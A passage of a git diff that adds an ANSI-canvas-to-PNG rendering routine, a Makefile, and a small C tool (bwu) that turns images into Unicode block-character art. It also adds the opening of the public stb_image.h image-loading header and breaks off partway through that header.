+	ColorsBold   = [[255,255,255],[85,85,85],[85,85,255],[85,255,85],[255,85,85],[255,85,85],[255,85,255],[255,255,85],[255,255,85],[85,255,85],[85,255,255],[85,255,255],[85,85,255],[255,85,255],[85,85,85],[255,255,255]]
+	ColorsNormal = [[255,255,255],[0,0,0],[0,0,187],[0,187,0],[255,85,85],[187,0,0],[187,0,187],[187,187,0],[255,255,85],[85,255,85],[0,187,187],[85,255,255],[85,85,255],[255,85,255],[85,85,85],[187,187,187]]
+	inSize = (len(inCanvasMap[0]), len(inCanvasMap))
+	outSize = [a*b for a,b in zip(inSize, outImgFontSize)]
+	outCurPos = [0, 0]
+	outImg = Image.new('RGBA', outSize, (*ColorsNormal[1], 255))
+	outImgDraw = ImageDraw.Draw(outImg)
+	for inCurRow in range(len(inCanvasMap)):
+		for inCurCol in range(len(inCanvasMap[inCurRow])):
+			inCurCell = inCanvasMap[inCurRow][inCurCol]
+			outColours = [0, 0]
+			if inCurCell[2] & 0x01:
+				if inCurCell[3] != ' ':
+					if inCurCell[3] == '█':
+						outColours[1] = ColorsNormal[inCurCell[0]]
+					else:
+						outColours[0] = ColorsBold[inCurCell[0]]
+						outColours[1] = ColorsNormal[inCurCell[1]]
+				else:
+					outColours[1] = ColorsNormal[inCurCell[1]]
+			else:
+				if inCurCell[3] != ' ':
+					if inCurCell[3] == '█':
+						outColours[1] = ColorsNormal[inCurCell[0]]
+					else:
+						outColours[0] = ColorsNormal[inCurCell[0]]
+						outColours[1] = ColorsNormal[inCurCell[1]]
+				else:
+					outColours[1] = ColorsNormal[inCurCell[1]]
+			outImgDraw.rectangle((*outCurPos,outCurPos[0] + outImgFontSize[0], outCurPos[1] + outImgFontSize[1]), fill=(*outColours[1], 255))
+			if  not inCurCell[3] in ' █' and outColours[0] != outColours[1]:
+				outImgDraw.text(outCurPos,inCurCell[3], (*outColours[0], 255), outImgFont)
+			if inCurCell[2] & 0x04:
+				outColours[0] = ColorsNormal[inCurCell[0]]
+				outImgDraw.line(xy=(outCurPos[0], outCurPos[1] + (outImgFontSize[1] - 2), outCurPos[0] + outImgFontSize[0], outCurPos[1] + (outImgFontSize[1] - 2)), fill=(*outColours[0], 255))
+			outCurPos[0] += outImgFontSize[0]
+		outCurPos[0] = 0
+		outCurPos[1] += outImgFontSize[1]
+	out_file = os.path.join('data','temp.png')
+	if os.path.isfile(out_file):
+		os.remove(out_file)
+	outImg.save(out_file)
\ No newline at end of file
diff --git a/art/bwu/Makefile b/art/bwu/Makefile
new file mode 100644
index 0000000..0172449
--- /dev/null
+++ b/art/bwu/Makefile
@@ -0,0 +1,25 @@
+PROG := bwu
+SRC := bwu.c
+CC := cc
+CFLAGS += -g -std=c99 -Wall
+LDFLAGS += -lm
+PREFIX ?= /usr/local
+
+UNAME := $(shell sh -c 'uname -s 2>/dev/null')
+
+ifeq ($(UNAME), Darwin)
+	CC := clang
+	CFLAGS += -Wunused-result -Wunused-value
+endif
+
+default:
+	$(CC) $(CFLAGS) $(SRC) -o $(PROG) $(LDFLAGS)
+
+.PHONY: install clean
+
+install:
+	cp $(PROG) $(PREFIX)/bin/$(PROG)
+
+clean:
+	rm -rf $(PROG) $(PROG).dSYM
+
diff --git a/art/bwu/bwu.c b/art/bwu/bwu.c
new file mode 100644
index 0000000..7b32962
--- /dev/null
+++ b/art/bwu/bwu.c
@@ -0,0 +1,158 @@
+/* Copyright (c) 2018 Trollforge. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ * 3. Trollforge's name may not be used to endorse or promote products
+ *    derived from this software without specific prior written permission.
+ */
+
+#include <getopt.h>
+#include <stdio.h>
+#include <stdlib.h>
+
+#define STB_IMAGE_IMPLEMENTATION
+#include "stb_image.h"
+
+#define STB_IMAGE_RESIZE_IMPLEMENTATION
+#include "stb_image_resize.h"
+
+void usage(void);
+
+#define P(row, col)	(pixel[width * (row) + (col)] > 0x7f)
+#define D(x)		printf(x)
+
+int
+main(int argc, char *argv[])
+{
+	uint8_t *pixel;
+	int width;
+	int height;
+	int channels;
+
+	int resize_width = 0;
+	int resize_height;
+	uint8_t *resized;
+
+	char ch;
+
+	int use_color = 0;
+	int fg = 0;
+	int bg = 0;
+
+	while((ch = getopt(argc, argv, "w:f:b:")) != -1) {
+		switch (ch) {
+			case 'w':
+				resize_width = strtol(optarg, NULL, 10);
+				break;
+			case 'f':
+				use_color = 1;
+				fg = strtol(optarg, NULL, 10);
+				break;
+			case 'b':
+				use_color = 1;
+				bg = strtol(optarg, NULL, 10);
+				break;
+			default:
+				usage();
+				break;
+		}
+	}
+	argc -= optind;
+	argv += optind;
+
+	if (argc < 1) {
+		usage();
+	}
+
+	pixel = stbi_load(argv[0], &width, &height, &channels, 1);
+
+	if (resize_width) {
+		resize_height = height * resize_width / width;
+		resized = malloc(resize_width * resize_height);
+
+		stbir_resize_uint8(pixel, width, height, 0,
+				   resized, resize_width, resize_height, 0,
+				   1);
+
+		free(pixel);
+		pixel = resized;
+
+		height = resize_height;
+		width = resize_width;
+	}
+
+	for (int r = 0; r < height - 1; r += 2) {
+
+		if (use_color) {
+			printf("\03%d,%d", fg, bg);
+		}
+
+		for (int c = 0; c < width - 1; c += 2) {
+
+			( P(r    , c) &&  P(r    , c + 1) &&
+			  P(r + 1, c) &&  P(r + 1, c + 1)) ? D("█"):
+
+			( P(r    , c) &&  P(r    , c + 1) &&
+			  P(r + 1, c) && !P(r + 1, c + 1)) ? D("▛"):
+
+			( P(r    , c) && !P(r    , c + 1) &&
+			  P(r + 1, c) &&  P(r + 1, c + 1)) ? D("▙"):
+
+			( P(r    , c) && !P(r    , c + 1) &&
+			  P(r + 1, c) && !P(r + 1, c + 1)) ? D("▌"):
+
+			( P(r    , c) &&  P(r    , c + 1) &&
+			 !P(r + 1, c) &&  P(r + 1, c + 1)) ? D("▜"):
+
+			( P(r    , c) &&  P(r    , c + 1) &&
+			 !P(r + 1, c) && !P(r + 1, c + 1)) ? D("▀"):
+
+			( P(r    , c) && !P(r    , c + 1) &&
+			 !P(r + 1, c) &&  P(r + 1, c + 1)) ? D("▚"):
+
+			( P(r    , c) && !P(r    , c + 1) &&
+			 !P(r + 1, c) && !P(r + 1, c + 1)) ? D("▘"):
+
+			(!P(r    , c) &&  P(r    , c + 1) &&
+			  P(r + 1, c) &&  P(r + 1, c + 1)) ? D("▟"):
+
+			(!P(r    , c) &&  P(r    , c + 1) &&
+			  P(r + 1, c) && !P(r + 1, c + 1)) ? D("▞"):
+
+			(!P(r    , c) && !P(r    , c + 1) &&
+			  P(r + 1, c) &&  P(r + 1, c + 1)) ? D("▄"):
+
+			(!P(r    , c) && !P(r    , c + 1) &&
+			  P(r + 1, c) && !P(r + 1, c + 1)) ? D("▖"):
+
+			(!P(r    , c) &&  P(r    , c + 1) &&
+			 !P(r + 1, c) &&  P(r + 1, c + 1)) ? D("▐"):
+
+			(!P(r    , c) &&  P(r    , c + 1) &&
+			 !P(r + 1, c) && !P(r + 1, c + 1)) ? D("▝"):
+
+			(!P(r    , c) && !P(r    , c + 1) &&
+			 !P(r + 1, c) &&  P(r + 1, c + 1)) ? D("▗"):
+
+			D(" ");
+		}
+		printf("\n");
+	}
+	return 0;
+}
+
+void usage(void)
+{
+	fprintf(stderr, "usage: bwu [options] input\n");
+	fprintf(stderr, "-w width       set width.\n");
+	fprintf(stderr, "-f color       set foreground.\n");
+	fprintf(stderr, "-b color       set background.\n");
+
+	exit(1);
+}
diff --git a/art/bwu/stb_image.h b/art/bwu/stb_image.h
new file mode 100644
index 0000000..d9c21bc
--- /dev/null
+++ b/art/bwu/stb_image.h
@@ -0,0 +1,7462 @@
+/* stb_image - v2.19 - public domain image loader - http://nothings.org/stb
+                                  no warranty implied; use at your own risk
+
+   Do this:
+      #define STB_IMAGE_IMPLEMENTATION
+   before you include this file in *one* C or C++ file to create the implementation.
+
+   // i.e. it should look like this:
+   #include ...
+   #include ...
+   #include ...
+   #define STB_IMAGE_IMPLEMENTATION
+   #include "stb_image.h"
+
+   You can #define STBI_ASSERT(x) before the #include to avoid using assert.h.
+   And #define STBI_MALLOC, STBI_REALLOC, and STBI_FREE to avoid using malloc,realloc,free
+
+
+   QUICK NOTES:
+      Primarily of interest to game developers and other people who can
+          avoid problematic images and only need the trivial interface
+
+      JPEG baseline & progressive (12 bpc/arithmetic not supported, same as stock IJG lib)
+      PNG 1/2/4/8/16-bit-per-channel
+
+      TGA (not sure what subset, if a subset)
+      BMP non-1bpp, non-RLE
+      PSD (composited view only, no extra channels, 8/16 bit-per-channel)
+
+      GIF (*comp always reports as 4-channel)
+      HDR (radiance rgbE format)
+      PIC (Softimage PIC)
+      PNM (PPM and PGM binary only)
+
+      Animated GIF still needs a proper API, but here's one way to do it:
+          http://gist.github.com/urraka/685d9a6340b26b830d49
+
+      - decode from memory or through FILE (define STBI_NO_STDIO to remove code)
+      - decode from arbitrary I/O callbacks
+      - SIMD acceleration on x86/x64 (SSE2) and ARM (NEON)
+
+   Full documentation under "DOCUMENTATION" below.
+
+
+LICENSE
+
+  See end of file for license information.
+
+RECENT REVISION HISTORY:
+
+      2.19  (2018-02-11) fix warning
+      2.18  (2018-01-30) fix warnings
+      2.17  (2018-01-29) bugfix, 1-bit BMP, 16-bitness query, fix warnings
+      2.16  (2017-07-23) all functions have 16-bit variants; optimizations; bugfixes
+      2.15  (2017-03-18) fix png-1,2,4; all Imagenet JPGs; no runtime SSE detection on GCC
+      2.14  (2017-03-03) remove deprecated STBI_JPEG_OLD; fixes for Imagenet JPGs
+      2.13  (2016-12-04) experimental 16-bit API, only for PNG so far; fixes
+      2.12  (2016-04-02) fix typo in 2.11 PSD fix that caused crashes
+      2.11  (2016-04-02) 16-bit PNGS; enable SSE2 in non-gcc x64
+                         RGB-format JPEG; remove white matting in PSD;
+                         allocate large structures on the stack;
+                         correct channel count for PNG & BMP
+      2.10  (2016-01-22) avoid warning introduced in 2.09
+      2.09  (2016-01-16) 16-bit TGA; comments in PNM files; STBI_REALLOC_SIZED
+
+   See end of file for full revision history.
+
+
+ ============================    Contributors    =========================
+
+ Image formats                          Extensions, features
+    Sean Barrett (jpeg, png, bmp)          Jetro Lauha (stbi_info)
+    Nicolas Schulz (hdr, psd)              Martin "SpartanJ" Golini (stbi_info)
+    Jonathan Dummer (tga)                  James "moose2000" Brown (iPhone PNG)
+    Jean-Marc Lienher (gif)                Ben "Disch" Wenger (io callbacks)
+    Tom Seddon (pic)                       Omar Cornut (1/2/4-bit PNG)
+    Thatcher Ulrich (psd)                  Nicolas Guillemot (vertical flip)
+    Ken Miller (pgm, ppm)                  Richard Mitton (16-bit PSD)
+    github:urraka (animated gif)           Junggon Kim (PNM comments)
+    Christopher Forseth (animated gif)     Daniel Gibson (16-bit TGA)
+                                           socks-the-fox (16-bit PNG)
+                                           Jeremy Sawicki (handle all ImageNet JPGs)
+ Optimizations & bugfixes                  Mikhail Morozov (1-bit BMP)
+    Fabian "ryg" Giesen                    Anael Seghezzi (is-16-bit query)
+    Arseny Kapoulkine
+    John-Mark Allen
+
+ Bug & warning fixes
+    Marc LeBlanc            David Woo          Guillaume George   Martins Mozeiko
+    Christpher Lloyd        Jerry Jansson      Joseph Thomson     Phil Jordan
+    Dave Moore              Roy Eltham         Hayaki Saito       Nathan Reed
+    Won Chun                Luke Graham        Johan Duparc       Nick Verigakis
+    the Horde3D community   Thomas Ruf         Ronny Chevalier    github:rlyeh
+    Janez Zemva             John Bartholomew   Michal Cichon      github:romigrou
+    Jonathan Blow           Ken Hamada         Tero Hanninen      github:svdijk
+    Laurent Gomila          Cort Stratton      Sergio Gonzalez    github:snagar
+    Aruelien Pocheville     Thibault Reuille   Cass Everitt       github:Zelex
+    Ryamond Barbiero        Paul Du Bois       Engin Manap        github:grim210
+    Aldo Culquicondor       Philipp Wiesemann  Dale Weiler        github:sammyhw
+    Oriol Ferrer Mesia      Josh Tobin         Matthew Gregan     github:phprus
+    Julian Raschke          Gregory Mullen     Baldur Karlsson    github:poppolopoppo
+    Christian Floisand      Kevin Schmidt                         github:darealshinji
+    Blazej Dariusz Roszkowski                                     github:Michaelangel007
+*/
+
+#ifndef STBI_INCLUDE_STB_IMAGE_H
+#define STBI_INCLUDE_STB_IMAGE_H
+
+// DOCUMENTATION
+//
+// Limitations:
+//    - no 12-bit-per-channel JPEG
+//    - no JPEGs with arithmetic coding
+//    - GIF always returns *comp=4
+//
+// Basic usage (see HDR discussion below for HDR usage):
+//    int x,y,n;
+//    unsigned char *data = stbi_load(filename, &x, &y, &n, 0);
+//    // ... process data if not NULL ...
+//    // ... x = width, y = height, n = # 8-bit components per pixel ...
+//    // ... replace '0' with '1'..'4' to force that many components per pixel
+//    // ... but 'n' will always be the number that it would have been if you said 0
+//    stbi_image_free(data)
+//
+// Standard parameters:
+//    int *x                 -- outputs image width in pixels
+//    int *y                 -- outputs image height in pixels
+//    int *channels_in_file  -- outputs # of image components in image file
+//    int desired_channels   -- if non-zero, # of image components requested in result
+//
+// The return value from an image loader is an 'unsigned char *' which points
+// to the pixel data, or NULL on an allocation failure or if the image is
+// corrupt or invalid. The pixel data consists of *y scanlines of *x pixels,
+// with each pixel consisting of N interleaved 8-bit components; the first
+// pixel pointed to is top-left-most in the image. There is no padding between
+// image scanlines or between pixels, regardless of format. The number of
+// components N is 'desired_channels' if desired_channels is non-zero, or
+// *channels_in_file otherwise. If desired_channels is non-zero,
+// *channels_in_file has the number of components that _would_ have been
+// output otherwise. E.g. if you set desired_channels to 4, you will always
+// get RGBA output, but you can check *channels_in_file to see if it's trivially
+// opaque because e.g. there were only 3 channels in the source image.
+//
+// An output image with N components has the following components interleaved
+// in this order in each pixel:
+//
+//     N=#comp     components
+//       1           grey
+//       2           grey, alpha
+//       3           red, green, blue
+//       4           red, green, blue, alpha
+//
+// If image loading fails for any reason, the return value will be NULL,
+// and *x, *y, *channels_in_file will be unchanged. The function
+// stbi_failure_reason() can be queried for an extremely brief, end-user
+// unfriendly explanation of why the load failed. Define STBI_NO_FAILURE_STRINGS
+// to avoid compiling these strings at all, and STBI_FAILURE_USERMSG to get slightly
+// more user-friendly ones.
+//
+// Paletted PNG, BMP, GIF, and PIC images are automatically depalettized.
+//
+// ===========================================================================
+//
+// Philosophy
+//
+// stb libraries are designed with the following priorities:
+//
+//    1. easy to use
+//    2. easy to maintain
+//    3. good performance
+//
+// Sometimes I let "good performance" creep up in priority over "easy to maintain",
+// and for best performance I may provide less-easy-to-use APIs that give higher
+// performance, in addition to the easy to use ones. Nevertheless, it's important
+// to keep in mind that from the standpoint of you, a client of this library,
+// all you care about is #1 and #3, and stb libraries DO NOT emphasize #3 above all.
+//
+// Some secondary priorities arise directly from the first two, some of which
+// make more explicit reasons why performance can't be emphasized.
+//
+//    - Portable ("ease of use")
+//    - Small source code footprint ("easy to maintain")
+//    - No dependencies ("ease of use")
+//
+// ===========================================================================
+//
+// I/O callbacks
+//
+// I/O callbacks allow you to read from arbitrary sources, like packaged
+// files or some other source. Data read from callbacks are processed
+// through a small internal buffer (currently 128 bytes) to try to reduce
+// overhead.
+//
+// The three functions you must define are "read" (reads some bytes of data),
+// "skip" (skips some bytes of data), "eof" (reports if the stream is at the end).
+//
+// ===========================================================================
+//
+// SIMD support
+//
+// The JPEG decoder will try to automatically use SIMD kernels on x86 when
+// supported by the compiler. For ARM Neon support, you must explicitly
+// request it.
+//
+// (The old do-it-yourself SIMD API is no longer supported in the current
+// code.)
+//
+// On x86, SSE2 will automatically be used when available based on a run-time
+// test; if not, the generic C versions are used as a fall-back. On ARM targets,
+// the typical path is to have separate builds for NEON and non-NEON devices
+// (at least this is true for iOS and Android). Therefore, the NEON support is
+// toggled by a build flag: define STBI_NEON to get NEON loops.
+//
+// If for some reason you do not want to use any of SIMD code, or if
+// you have issues compiling it, you can disable it entirely by
+// defining STBI_NO_SIMD.
+//
+// ===========================================================================
+//
+// HDR image support   (disable by defining STBI_NO_HDR)
+//
+// stb_image now supports loading HDR images in general, and currently
+// the Radiance .HDR file format, although the support is provided
+// generically. You can still load any file through the existing interface;
+// if you attempt to load an HDR file, it will be automatically remapped to
+// LDR, assuming gamma 2.2 and an arbitrary scale factor defaulting to 1;
+// both of these constants can be reconfigured through this interface:
+//
+//     stbi_hdr_to_ldr_gamma(2.2f);
+//     stbi_hdr_to_ldr_scale(1.0f);
+//
+// (note, do not use _inverse_ constants; stbi_image will invert them
+// appropriately).
+//
+// Additionally, there is a new, parallel interface for loading files as
+// (linear) floats to preserve the full dynamic range:
+//
+//    float *data = stbi_loadf(filename, &x, &y, &n, 0);
+//
+// If you load LDR images through this interface, those images will
+// be promoted to floating point values, run through the inverse of
+// constants corresponding to the above:
+//
+//     stbi_ldr_to_hdr_scale(1.0f);
+//     stbi_ldr_to_hdr_gamma(2.2f);
+//
+// Finally, given a filename (or an open file or memory block--see header
+// file for details) containing image data, you can query for the "most
+// appropriate" interface to use (that is, whether the image is HDR or
+// not), using:
+//
+//     stbi_is_hdr(char *filename);
+//
+// ===========================================================================
+//
+// iPhone PNG support:
+//
+// By default we convert iphone-formatted PNGs back to RGB, even though
+// they are internally encoded differently. You can disable this conversion
+// by by calling stbi_convert_iphone_png_to_rgb(0), in which case
+// you will always just get the native iphone "format" through (which
+// is BGR stored in RGB).
+//
+// Call stbi_set_unpremultiply_on_load(1) as well to force a divide per
+// pixel to remove any premultiplied alpha *only* if the image file explicitly
+// says there's premultiplied data (currently only happens in iPhone images,
+// and only if iPhone convert-to-rgb processing is on).
+//
+// ===========================================================================
+//
+// ADDITIONAL CONFIGURATION
+//
+//  - You can suppress implementation of any of the decoders to reduce
+//    your code footprint by #defining one or more of the following
+//    symbols before creating the implementation.
+//
+//        STBI_NO_JPEG
+//        STBI_NO_PNG
+//        STBI_NO_BMP
+//        STBI_NO_PSD
+//        STBI_NO_TGA
+//        STBI_NO_GIF
+//        STBI_NO_HDR
+//        STBI_NO_PIC
+//        STBI_NO_PNM   (.ppm and .pgm)
+//
+//  - You can request *only* certain decoders and suppress all other ones
+//    (this will be more forward-compatible, as addition of new decoders
+//    doesn't require you to disable them explicitly):
+//
+//        STBI_ONLY_JPEG
+//        STBI_ONLY_PNG
+//        STBI_ONLY_BMP
+//        STBI_ONLY_PSD
+//        STBI_ONLY_TGA
+//        STBI_ONLY_GIF
+//        STBI_ONLY_HDR
+//        STBI_ONLY_PIC
+//        STBI_ONLY_PNM   (.ppm and .pgm)
+//
+//   - If you use STBI_NO_PNG (or _ONLY_ without PNG), and you still
+//     want the zlib decoder to be available, #define STBI_SUPPORT_ZLIB
+//
+
+
+#ifndef STBI_NO_STDIO
+#include <stdio.h>
+#endif // STBI_NO_STDIO
+
+#define STBI_VERSION 1
+
+enum
+{
+   STBI_default = 0, // only used for desired_channels
+
+   STBI_grey       = 1,
+   STBI_grey_alpha = 2,
+   STBI_rgb        = 3,
+   STBI_rgb_alpha  = 4
+};
+
+typedef unsigned char stbi_uc;
+typedef unsigned short stbi_us;
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+#ifdef STB_IMAGE_STATIC
+#define STBIDEF static
+#else
+#define STBIDEF extern
+#endif
+
+//////////////////////////////////////////////////////////////////////////////
+//
+// PRIMARY API - works on images of any type
+//
+
+//
+// load image by filename, open file, or memory buffer
+//
+
+typedef struct
+{
+   int      (*read)  (void *user,char *data,int size);   // fill 'data' with 'size' bytes.  return number of bytes actually read
+   void     (*skip)  (void *user,int n);                 // skip the next 'n' bytes, or 'unget' the last -n bytes if negative
+   int      (*eof)   (void *user);                       // returns nonzero if we are at end of file/data
+} stbi_io_callbacks;
+
+////////////////////////////////////
+//
+// 8-bits-per-channel interface
+//
+
+STBIDEF stbi_uc *stbi_load_from_memory   (stbi_uc           const *buffer, int len   , int *x, int *y, int *channels_in_file, int desired_channels);
+STBIDEF stbi_uc *stbi_load_from_callbacks(stbi_io_callbacks const *clbk  , void *user, int *x, int *y, int *channels_in_file, int desired_channels);
+#ifndef STBI_NO_GIF
+STBIDEF stbi_uc *stbi_load_gif_from_memory(stbi_uc const *buffer, int len, int **delays, int *x, int *y, int *z, int *comp, int req_comp);
+#endif
+
+
+#ifndef STBI_NO_STDIO
+STBIDEF stbi_uc *stbi_load            (char const *filename, int *x, int *y, int *channels_in_file, int desired_channels);
+STBIDEF stbi_uc *stbi_load_from_file  (FILE *f, int *x, int *y, int *channels_in_file, int desired_channels);
+// for stbi_load_from_file, file pointer is left pointing immediately after image
+#endif
+
+////////////////////////////////////
+//
+// 16-bits-per-channel interface
+//
+
+STBIDEF stbi_us *stbi_load_16_from_memory   (stbi_uc const *buffer, int len, int *x, int *y, int *channels_in_file, int desired_channels);
+STBIDEF stbi_us *stbi_load_16_from_callbacks(stbi_io_callbacks const *clbk, void *user, int *x, int *y, int *channels_in_file, int desired_channels);
+
+#ifndef STBI_NO_STDIO
+STBIDEF stbi_us *stbi_load_16          (char const *filename, int *x, int *y, int *channels_in_file, int desired_channels);
+STBIDEF stbi_us *stbi_load_from_file_16(FILE *f, int *x, int *y, int *channels_in_file, int desired_channels);
+#endif
+
+////////////////////////////////////
+//
+// float-per-channel interface
+//
+#ifndef STBI_NO_LINEAR
+   STBIDEF float *stbi_loadf_from_memory     (stbi_uc const *buffer, int len, int *x, int *y, int *channels_in_file, int desired_channels);
+   STBIDEF float *stbi_loadf_from_callbacks  (stbi_io_callbacks const *clbk, void *user, int *x, int *y,  int *channels_in_file, int desired_channels);
+
+   #ifndef STBI_NO_STDIO
+   STBIDEF float *stbi_loadf            (char const *filename, int *x, int *y, int *channels_in_file, int desired_channels);
+   STBIDEF float *stbi_loadf_from_file  (FILE *f, int *x, int *y, int *channels_in_file, int desired_channels);
+   #endif
+#endif
+
+#ifndef STBI_NO_HDR
+   STBIDEF void   stbi_hdr_to_ldr_gamma(float gamma);
+   STBIDEF void   stbi_hdr_to_ldr_scale(float scale);
+#endif // STBI_NO_HDR
+
+#ifndef STBI_NO_LINEAR
+   STBIDEF void   stbi_ldr_to_hdr_gamma(float gamma);
+   STBIDEF void   stbi_ldr_to_hdr_scale(float scale);
+#endif // STBI_NO_LINEAR
+
+// stbi_is_hdr is always defined, but always returns false if STBI_NO_HDR
+STBIDEF int    stbi_is_hdr_from_callbacks(stbi_io_callbacks const *clbk, void *user);
+STBIDEF int    stbi_is_hdr_from_memory(stbi_uc const *buffer, int len);
+#ifndef STBI_NO_STDIO
+STBIDEF int      stbi_is_hdr          (char const *filename);
+STBIDEF int      stbi_is_hdr_from_file(FILE *f);
+#endif // STBI_NO_STDIO
+
+
+// get a VERY brief reason for failure
+// NOT THREADSAFE
+STBIDEF const char *stbi_failure_reason  (void);
+
+// free the loaded image -- this is just free()
+STBIDEF void     stbi_image_free      (void *retval_from_stbi_load);
+
+// get image dimensions & components without fully decoding
+STBIDEF int      stbi_info_from_memory(stbi_uc const *buffer, int len, int *x, int *y, int *comp);
+STBIDEF int      stbi_info_from_callbacks(stbi_io_callbacks const *clbk, void *user, int *x, int *y, int *comp);
+STBIDEF int      stbi_is_16_bit_from_memory(stbi_uc const *buffer, int len);
+STBIDEF int      stbi_is_16_bit_from_callbacks(stbi_io_callbacks const *clbk, void *user);
+
+#ifndef STBI_NO_STDIO
+STBIDEF int      stbi_info               (char const *filename,     int *x, int *y, int *comp);
+STBIDEF int      stbi_info_from_file     (FILE *f,                  int *x, int *y, int *comp);
+STBIDEF int      stbi_is_16_bit          (char const *filename);
+STBIDEF int      stbi_is_16_bit_from_file(FILE *f);
+#endif
+
+
+
+// for image formats that explicitly notate that they have premultiplied alpha,
+// we just return the colors as stored in the file. set this flag to force
+// unpremultiplication. results are undefined if the unpremultiply overflow.
+STBIDEF void stbi_set_unpremultiply_on_load(int flag_true_if_should_unpremultiply);
+
+// indicate whether we should process iphone images back to canonical format,
+// or just pass them through "as-is"
+STBIDEF void stbi_convert_iphone_png_to_rgb(int flag_true_if_should_convert);
+
+// flip the image vertically, so the first pixel in the output array is the bottom left
+STBIDEF void stbi_set_flip_vertically_on_load(int flag_true_if_should_flip);
+
+// ZLIB client - used by PNG, available for other purposes
+
+STBIDEF char *stbi_zlib_decode_malloc_guesssize(const char *buffer, int len, int initial_size, int *outlen);
+STBIDEF char *stbi_zlib_decode_malloc_guesssize_headerflag(const char *buffer, int len, int initial_size, int *outlen, int parse_header);
+STBIDEF char *stbi_zlib_decode_malloc(const char *buffer, int len, int *outlen);
+STBIDEF int   stbi_zlib_decode_buffer(char *obuffer, int olen, const char *ibuffer, int ilen);
+
+STBIDEF char *stbi_zlib_decode_noheader_malloc(const char *buffer, int len, int *outlen);
+STBIDEF int   stbi_zlib_decode_noheader_buffer(char *obuffer, int olen, const char *ibuffer, int ilen);
+
+
+#ifdef __cplusplus
+}
+#endif
+
+//
+//
+////   end header file   /////////////////////////////////////////////////////
+#endif // STBI_INCLUDE_STB_IMAGE_H
+
+#ifdef STB_IMAGE_IMPLEMENTATION
+
+#if defined(STBI_ONLY_JPEG) || defined(STBI_ONLY_PNG) || defined(STBI_ONLY_BMP) \
+  || defined(STBI_ONLY_TGA) || defined(STBI_ONLY_GIF) || defined(STBI_ONLY_PSD) \
+  || defined(STBI_ONLY_HDR) || defined(STBI_ONLY_PIC) || defined(STBI_ONLY_PNM) \
+  || defined(STBI_ONLY_ZLIB)
+   #ifndef STBI_ONLY_JPEG
+   #define STBI_NO_JPEG
+   #endif
+   #ifndef STBI_ONLY_PNG
+   #define STBI_NO_PNG
+   #endif
+   #ifndef STBI_ONLY_BMP
+   #define STBI_NO_BMP
+   #endif
+   #ifndef STBI_ONLY_PSD
+   #define STBI_NO_PSD
+   #endif
+   #ifndef STBI_ONLY_TGA
+   #define STBI_NO_TGA
+   #endif
+   #ifndef STBI_ONLY_GIF
+   #define STBI_NO_GIF
+   #endif
+   #ifndef STBI_ONLY_HDR
+   #define STBI_NO_HDR
+   #endif
+   #ifndef STBI_ONLY_PIC
+   #define STBI_NO_PIC
+   #endif
+   #ifndef STBI_ONLY_PNM
+   #define STBI_NO_PNM
+   #endif
+#endif
+
+#if defined(STBI_NO_PNG) && !defined(STBI_SUPPORT_ZLIB) && !defined(STBI_NO_ZLIB)
+#define STBI_NO_ZLIB
+#endif
+
+
+#include <stdarg.h>
+#include <stddef.h> // ptrdiff_t on osx
+#include <stdlib.h>
+#include <string.h>
+#include <limits.h>
+
+#if !defined(STBI_NO_LINEAR) || !defined(STBI_NO_HDR)
+#include <math.h>  // ldexp, pow
+#endif
+
+#ifndef STBI_NO_STDIO
+#include <stdio.h>
+#endif
+
+#ifndef STBI_ASSERT
+#include <assert.h>
+#define STBI_ASSERT(x) assert(x)
+#endif
+
+
+#ifndef _MSC_VER
+   #ifdef __cplusplus
+   #define stbi_inline inline
+   #else
+   #define stbi_inline
+   #endif
+#else
+   #define stbi_inline __forceinline
+#endif
+
+
+#ifdef _MSC_VER
+typedef unsigned short stbi__uint16;
+typedef   signed short stbi__int16;
+typedef unsigned int   stbi__uint32;
+typedef   signed int   stbi__int32;
+#else
+#include <stdint.h>
+typedef uint16_t stbi__uint16;
+typedef int16_t  stbi__int16;
+typedef uint32_t stbi__uint32;
+typedef int32_t  stbi__int32;
+#endif
+
+// should produce compiler error if size is wrong
+typedef unsigned char validate_uint32[sizeof(stbi__uint32)==4 ? 1 : -1];
+
+#ifdef _MSC_VER
+#define STBI_NOTUSED(v)  (void)(v)
+#else
+#define STBI_NOTUSED(v)  (void)sizeof(v)
+#endif
+
+#ifdef _MSC_VER
+#define STBI_HAS_LROTL
+#endif
+
+#ifdef STBI_HAS_LROTL
+   #define stbi_lrot(x,y)  _lrotl(x,y)
+#else
+   #define stbi_lrot(x,y)  (((x) << (y)) | ((x) >> (32 - (y))))
+#endif
+
+#if defined(STBI_MALLOC) && defined(STBI_FREE) && (defined(STBI_REALLOC) || defined(STBI_REALLOC_SIZED))
+// ok
+#elif !defined(STBI_MALLOC) && !defined(STBI_FREE) && !defined(STBI_REALLOC) && !defined(STBI_REALLOC_SIZED)
+// ok
+#else
+#error "Must define all or none of STBI_MALLOC, STBI_FREE, and STBI_REALLOC (or STBI_REALLOC_SIZED)."
+#endif
+
+#ifndef STBI_MALLOC
+#define STBI_MALLOC(sz)           malloc(sz)
+#define STBI_REALLOC(p,newsz)     realloc(p,newsz)
+#define STBI_FREE(p)              free(p)
+#endif
+
+#ifndef STBI_REALLOC_SIZED
+#define STBI_REALLOC_SIZED(p,oldsz,newsz) STBI_REALLOC(p,newsz)
+#endif
+
+// x86/x64 detection
+#if defined(__x86_64__) || defined(_M_X64)
+#define STBI__X64_TARGET
+#elif defined(__i386) || defined(_M_IX86)
+#define STBI__X86_TARGET
+#endif
+
+#if defined(__GNUC__) && defined(STBI__X86_TARGET) && !defined(__SSE2__) && !defined(STBI_NO_SIMD)
+// gcc doesn't support sse2 intrinsics unless you compile with -msse2,
+// which in turn means it gets to use SSE2 everywhere. This is unfortunate,
+// but previous attempts to provide the SSE2 functions with runtime
+// detection caused numerous issues. The way architecture extensions are
+// exposed in GCC/Clang is, sadly, not really suited for one-file libs.
+// New behavior: if compiled with -msse2, we use SSE2 without any
+// detection; if not, we don't use it at all.
+#define STBI_NO_SIMD
+#endif
+
+#if defined(__MINGW32__) && defined(STBI__X86_TARGET) && !defined(STBI_MINGW_ENABLE_SSE2) && !defined(STBI_NO_SIMD)
+// Note that __MINGW32__ doesn't actually mean 32-bit, so we have to avoid STBI__X64_TARGET
+//
